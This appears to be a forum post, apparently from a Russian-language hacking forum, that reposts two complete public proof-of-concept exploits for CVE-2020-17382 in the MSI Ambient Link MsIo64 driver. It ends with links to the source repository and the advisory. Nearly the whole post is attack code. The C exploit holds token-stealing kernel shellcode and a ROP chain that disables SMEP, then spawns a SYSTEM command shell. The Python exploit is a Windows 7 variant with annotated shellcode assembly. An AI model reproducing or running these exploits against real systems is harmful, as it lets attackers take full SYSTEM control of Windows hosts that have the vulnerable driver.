Пожалуйста, обратите внимание, что пользователь заблокирован
C:
#include <iostream>
#include <string>
#include <Windows.h>
#include <Psapi.h>
#pragma warning( disable : 6387 )
VOID eopMsio(HANDLE hFile, INT64 kernel_base, DWORD pid, DWORD IoControlCode) {
// SHELLCODE FOR 1709
BYTE token_steal[] =
"\x65\x48\x8B\x14\x25\x88\x01\x00\x00" // mov rdx, [gs:188h] ; Get _ETHREAD pointer from KPCR
"\x4C\x8B\x82\xB8\x00\x00\x00" // mov r8, [rdx + b8h] ; _EPROCESS (kd> u PsGetCurrentProcess)
"\x4D\x8B\x88\xe8\x02\x00\x00" // mov r9, [r8 + 2e8h] ; ActiveProcessLinks list head
"\x49\x8B\x09" // mov rcx, [r9] ; Follow link to first process in list
//find_system_proc:
"\x48\x8B\x51\xF8" // mov rdx, [rcx - 8] ; Offset from ActiveProcessLinks to UniqueProcessId
"\x48\x83\xFA\x04" // cmp rdx, 4 ; Process with ID 4 is System process
"\x74\x05" // jz found_system ; Found SYSTEM token
"\x48\x8B\x09" // mov rcx, [rcx] ; Follow _LIST_ENTRY Flink pointer
"\xEB\xF1" // jmp find_system_proc ; Loop
//found_system:
"\x48\x8B\x41\x70" // mov rax, [rcx + 70h] ; Offset from ActiveProcessLinks to Token
"\x24\xF0" // and al, 0f0h ; Clear low 4 bits of _EX_FAST_REF structure
//find cmd
"\x48\x8B\x51\xF8" // mov rdx, [rcx-8] ;ActiveProcessLinks - 8 = UniqueProcessId
"\x48\x81\xFA\x99\x99\x00\x00" // cmp rdx, 0d54h ;UniqueProcessId == ZZZZ? (PLACEHOLDER)
"\x74\x05" // jz found_cmd ;YES - move on
"\x48\x8B\x09" // mov rcx, [rcx] ;NO - next entry in list
"\xEB\xEE" // jmp find_cmd ;loop
// found cmd
"\x48\x89\x41\x70" // mov [rcx+70h], rax ;copy SYSTEM token over top of this process's token
"\x48\x31\xc9" // xor rcx rcx ; clear some registers to avoid issues while unwinding the call stack
"\x48\x31\xc0" // xor rax rax
"\x48\x31\xf6" // xor rsi,rsi
"\x48\x31\xff" // xor rdi, rdi
"\x4D\x31\xC0" // xor r8, r8
"\x48\xc7\xc1\xf8\x06\x15\x00" // mov rcx, 0x1506f8 ; move original cr4 value into rcx
"\xc3"; // ret ; RET
token_steal[54] = pid;
token_steal[55] = pid >> 8;
LPVOID allocated_shellcode = VirtualAlloc(NULL,
sizeof(token_steal),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
memcpy(allocated_shellcode, token_steal, sizeof(token_steal));
INT64 pop_rcx_offset = kernel_base + 0x15fc70; // gadget 1 1709 - pop rcx ; ret
INT64 mov_cr4_offset = kernel_base + 0x76a02; // gadget 2 1709 - mov cr4, ecx ; ret
INT64 wbindv_offset = kernel_base + 0x1175c0;; // gadget 3 1709 - wbinvd; ret
INT64 rcx_value = 0x506f8; // value we want placed in cr4 in order to disable SMEP
INT64 rcx_old_value = 0x1506f8; // original cr4 value
INT64 ret = pop_rcx_offset + 1; // RET NOP
puts("[+] SMEP disabled");
BYTE input_buff[136] = { 0 };
memset(input_buff, '\x41', 64);
memset(input_buff, '\x42', 8); // dummy RBP
memcpy(input_buff + 72, (PINT64)&pop_rcx_offset, 8); // pop rcx
memcpy(input_buff + 80, (PINT64)&rcx_value, 8); // disable SMEP value
memcpy(input_buff + 88, (PINT64)&mov_cr4_offset, 8); // mov cr4, rcx
memcpy(input_buff + 96, (PINT64)&wbindv_offset, 8); // wbinvd; ret
memcpy(input_buff + 104, (PINT64)&allocated_shellcode, 8);// shellcode
memcpy(input_buff + 112, (PINT64)&mov_cr4_offset, 8); // mov cr4, rcx
memcpy(input_buff + 120, (PINT64)&ret, 8); // RETNOP to restore the stack
memcpy(input_buff + 128, (PINT64)&ret, 8); // RETNOP to restore the stack
printf("[+] Payload buffer located at: 0x%p\n", &allocated_shellcode);
DWORD lpBytesReturned = 0x0;
BOOL triggerIOCTL = DeviceIoControl(hFile,
IoControlCode,
input_buff,
sizeof(input_buff),
NULL,
0,
&lpBytesReturned,
NULL);
if (!triggerIOCTL) {
printf("[!] DeviceIoControl failed: %d\n", GetLastError());
}
else {
puts("[+] SMEP re-enabled");
puts("[+] Enjoy your SYSTEM shell\n");
}
system("start cmd.exe");
}
LPVOID GetBaseAddr(const char* drvname) {
LPVOID drivers[1024];
DWORD cbNeeded;
int nDrivers, i = 0;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
char szDrivers[1024];
nDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < nDrivers; i++) {
if (GetDeviceDriverBaseNameA(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
if (strcmp(szDrivers, drvname) == 0) {
return drivers[i];
}
}
}
}
return 0;
}
HANDLE GetDriverHandle() {
HANDLE hMsio;
hMsio = CreateFileA("\\\\.\\MsIo",
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL);
if (hMsio == INVALID_HANDLE_VALUE) {
printf("[-] Error obtaining an handle to the driver: %d\n", GetLastError());
exit(1);
}
return hMsio;
}
int main() {
puts("[*] CVE-2020-17382 - Win10 1709 - PoC by Matteo 'uf0' Malvica");
DWORD IoControlCode = 0x80102040;
HANDLE hDevice = GetDriverHandle();
INT64 nt = (INT64)GetBaseAddr("ntoskrnl.exe");
DWORD pid = GetCurrentProcessId();
eopMsio(hDevice, nt, pid, IoControlCode);
return 0;
}
Python:
#!/usr/bin/python
# MSI Ambient Link Driver - Kernel Stack-based Buffer Overflow
# Reference: https://www.coresecurity.com/core-labs/advisories/msi-ambient-link-multiple-vulnerabilities
# CVE-2020-17382
# Matteo Malvica - 28/09/2020
# www.matteomalvica.com
# Tested on Win7 x64 SP1
from ctypes import *
import time, struct, sys, thread, os
kernel32 = windll.kernel32
Psapi = windll.Psapi
if __name__ == '__main__':
if len(sys.argv) < 2:
print("\n(!) ERROR:\t - missing argument -\n"+"-"*10)
print("(*) USAGE:\t 'python %s <TARGET PID>" % sys.argv[0])
print("(*) EXAMPLE:\t 'python %s 1984'\n"% sys.argv[0])
sys.exit()
else:
target_pid = int(sys.argv[1])
print("(*) MSI Ambient Link Stack-based Buffer Overflow")
GENERIC_READ = (1 << 30)
GENERIC_WRITE = (1 << 31)
FILE_SHARE_READ = 1
FILE_SHARE_WRITE = 2
OPEN_EXISTING = 3
FILE_ATTRIBUTE_NORMAL = 0x80
IOCTL_VULN = 0x80102040 # triggers BoF
# DosDevices\MSIO64 Device\MsIo
DEVICE_NAME = "\\\\.\\MsIo".encode()
dwReturn = c_ulong()
out_size = 0x48
evil_output = ""
#driver_name = 'MSIO64.sys'
target_pid = struct.pack("<H",int(target_pid))
# token stealing shellcode
shellcode = bytearray(
"\x65\x48\x8B\x14\x25\x88\x01\x00"
"\x00\x4C\x8B\x42\x70\x4D\x8B\x88"
"\x88\x01\x00\x00\x49\x8B\x09\x48"
"\x8B\x51\xF8\x48\x83\xFA\x04\x74"
"\x05\x48\x8B\x09\xEB\xF1\x48\x8B"
"\x81\x80\x00\x00\x00\x24\xF0\x48"
"\x8B\x51\xF8\x48\x81\xFA"+ target_pid+
"\x00\x00\x74\x05\x48\x8B\x09\xEB"
"\xEE\x48\x89\x81\x80\x00\x00\x00"
"\x90\x90\xEB\xFE")
'''
[BITS 64]
; Windows 7 x64 token stealing shellcode
; based on http://mcdermottcybersecurity.com/articles/x64-kernel-privilege-escalation
start:
mov rdx, [gs:188h] ;KTHREAD pointer
mov r8, [rdx+70h] ;EPROCESS pointer
mov r9, [r8+188h] ;ActiveProcessLinks list head
mov rcx, [r9] ;follow link to first process in list
find_system:
mov rdx, [rcx-8] ;ActiveProcessLinks - 8 = UniqueProcessId
cmp rdx, 4 ;UniqueProcessId == 4?
jz found_system ;YES - move on
mov rcx, [rcx] ;NO - load next entry in list
jmp find_system ;loop
found_system:
mov rax, [rcx+80h] ;offset to token
and al, 0f0h ;clear low 4 bits of _EX_FAST_REF structure
find_cmd:
mov rdx, [rcx-8] ;ActiveProcessLinks - 8 = UniqueProcessId
cmp rdx, 0d54h ;UniqueProcessId == ZZZZ? (PLACEHOLDER)
jz found_cmd ;YES - move on
mov rcx, [rcx] ;NO - next entry in list
jmp find_cmd ;loop
found_cmd:
mov [rcx+80h], rax ;copy SYSTEM token over top of this process's token
return:
nop ; will be manually patched to 0xEBFE (jmp short 0)
'''
print("[*] Allocating shellcode character array...")
usermode_addr = (c_char * len(shellcode)).from_buffer(shellcode)
ptr = addressof(usermode_addr)
print("[*] Marking shellcode RWX...")
result = kernel32.VirtualProtect(
usermode_addr,
c_int(len(shellcode)),
c_int(0x40),
byref(c_ulong())
)
if result != 0:
print("[*] Successfully marked shellcode RWX.")
else:
print("[!] Failed to mark shellcode RWX.")
sys.exit(1)
payload = struct.pack("<Q",ptr)
pointer = ":".join("{:02x}".format(ord(c)) for c in payload)
print("[*] Shellcode pointer is at: 00000000'%s." % ptr)
buf = "A" * 0x48 + payload
buf_length = len(buf)
driver_handle = kernel32.CreateFileA(DEVICE_NAME,
0xC0000000,
0,
None,
0x3,
0,
None)
if driver_handle != -1:
# We store values to overcome input checks
print("(+) We got handle! Sending vulnerable IOCTL...")
dev_ioctl = kernel32.DeviceIoControl(
driver_handle,
IOCTL_VULN,
buf,
buf_length,
None,
0,
byref(c_ulong()),
None
)
else:
print("(!) Couldn't get a driver handle!")
Источник:
https://github.com/uf0o/CVE-2020-17382
Инфа:
MSI Ambient Link Multiple Vulnerabilities | CoreLabs Advisories
Vulnerabilities--Stack-based Buffer Overflow [CWE-121], Exposed IOCTL with Insufficient Access Control [CWE-782]--were found in the MsIo64 driver used by the service MSI AmbiLighter that could allow an attacker to execute code and escalate privileges.
www.coresecurity.com
Kernel exploitation: weaponizing CVE-2020-17382 MSI Ambient Link driver :: — uf0
Preamble - Why are drivers still a valuable target? Kernels are, no euphemism intended, complex piece of software and the Windows OS is no exception. Being one of the toughest to scrutinize due to its lack of source code and undocumented APIs, it is now being more documented thanks to the...